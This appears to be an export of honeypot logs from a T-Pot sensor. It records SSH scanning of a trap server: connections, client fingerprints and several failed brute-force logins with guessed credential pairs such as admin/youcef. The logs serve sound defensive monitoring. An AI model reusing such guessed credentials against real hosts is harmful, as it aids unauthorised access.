30673	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:37:34.357281+03	2021-09-20 14:45:03.477176+03	{"_id": "cQb_AnwBvYTbRNuEPj6B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "044d2270c05e", "@version": "1", "duration": 1.9201898574829102, "timestamp": "2021-09-20T11:37:34.357281Z", "@timestamp": "2021-09-20T11:37:34.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30674	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:37:29.477622+03	2021-09-20 14:45:03.479142+03	{"_id": "WQb_AnwBvYTbRNuELD6b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 633780179653151, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52466, "dest_port": 22, "timestamp": "2021-09-20T11:37:29.477622Z", "@timestamp": "2021-09-20T11:37:29.477Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30675	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:29.448886+03	2021-09-20 14:45:03.480172+03	{"_id": "Wgb_AnwBvYTbRNuELT6t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52466, "timestamp": "2021-09-20T11:37:29.448886", "@timestamp": "2021-09-20T11:37:29.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30676	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:37:29.707265+03	2021-09-20 14:45:03.482171+03	{"_id": "YQb_AnwBvYTbRNuELj7g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [jenkins/1] failed", "session": "700d0251d17d", "@version": "1", "password": "1", "username": "jenkins", "timestamp": "2021-09-20T11:37:29.707265Z", "@timestamp": "2021-09-20T11:37:29.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30677	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:37:30.743251+03	2021-09-20 14:45:03.483173+03	{"_id": "Ygb_AnwBvYTbRNuEMj7I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "700d0251d17d", "@version": "1", "duration": 1.295529842376709, "timestamp": "2021-09-20T11:37:30.743251Z", "@timestamp": "2021-09-20T11:37:30.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30678	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:37:32.434425+03	2021-09-20 14:45:03.484155+03	{"_id": "aAb_AnwBvYTbRNuENj6x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:49942 (192.168.176.2:22) [session: 044d2270c05e]", "session": "044d2270c05e", "@version": "1", "protocol": "ssh", "src_port": 49942, "dest_port": 22, "timestamp": "2021-09-20T11:37:32.434425Z", "@timestamp": "2021-09-20T11:37:32.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30679	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:37:32.437423+03	2021-09-20 14:45:03.486171+03	{"_id": "aQb_AnwBvYTbRNuENj6x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "044d2270c05e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:32.437423Z", "@timestamp": "2021-09-20T11:37:32.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30680	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:37:32.570513+03	2021-09-20 14:45:03.488141+03	{"_id": "awb_AnwBvYTbRNuEOD5U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 1551183046806790, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49942, "dest_port": 22, "timestamp": "2021-09-20T11:37:32.570513Z", "@timestamp": "2021-09-20T11:37:32.570Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30681	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:37:32.571737+03	2021-09-20 14:45:03.489142+03	{"_id": "bgb_AnwBvYTbRNuEOT5n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49942, "dest_port": 22, "timestamp": "2021-09-20T11:37:32.571737", "@timestamp": "2021-09-20T11:37:32.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30780	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:38:32.769269+03	2021-09-20 14:45:03.618141+03	{"_id": "NgYAA3wBvYTbRNuEJT8Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b17e64d4928a", "@version": "1", "duration": 2.3337020874023438, "timestamp": "2021-09-20T11:38:32.769269Z", "@timestamp": "2021-09-20T11:38:32.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30682	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:37:33.219011+03	2021-09-20 14:45:03.490141+03	{"_id": "bwb_AnwBvYTbRNuEOj6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [admin/youcef] failed", "session": "044d2270c05e", "@version": "1", "password": "youcef", "username": "admin", "timestamp": "2021-09-20T11:37:33.219011Z", "@timestamp": "2021-09-20T11:37:33.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30683	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:37:14.616578+03	2021-09-20 14:45:03.491141+03	{"_id": "Ogb-AnwBvYTbRNuE8T79", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 228378215611158, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T11:37:14.616578Z", "@timestamp": "2021-09-20T11:37:14.616Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30684	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:14.359392+03	2021-09-20 14:45:03.492142+03	{"_id": "Owb-AnwBvYTbRNuE8z4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40590, "timestamp": "2021-09-20T11:37:14.359392", "@timestamp": "2021-09-20T11:37:14.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30685	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:14.620505+03	2021-09-20 14:45:03.494141+03	{"_id": "PQb-AnwBvYTbRNuE9D5A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b37b1e370f90", "@version": "1", "timestamp": "2021-09-20T11:37:14.620505Z", "@timestamp": "2021-09-20T11:37:14.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30686	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:15.784895+03	2021-09-20 14:45:03.495142+03	{"_id": "Pwb-AnwBvYTbRNuE-D4o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [market/123456] failed", "session": "b37b1e370f90", "@version": "1", "password": "123456", "username": "market", "timestamp": "2021-09-20T11:37:15.784895Z", "@timestamp": "2021-09-20T11:37:15.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30687	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:17.054383+03	2021-09-20 14:45:03.496142+03	{"_id": "Qgb-AnwBvYTbRNuE_D4R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b37b1e370f90", "@version": "1", "duration": 2.697364330291748, "timestamp": "2021-09-20T11:37:17.054383Z", "@timestamp": "2021-09-20T11:37:17.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30688	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:37:14.620232+03	2021-09-20 14:45:03.497142+03	{"_id": "PAb-AnwBvYTbRNuE8z4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T11:37:14.620232", "@timestamp": "2021-09-20T11:37:14.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
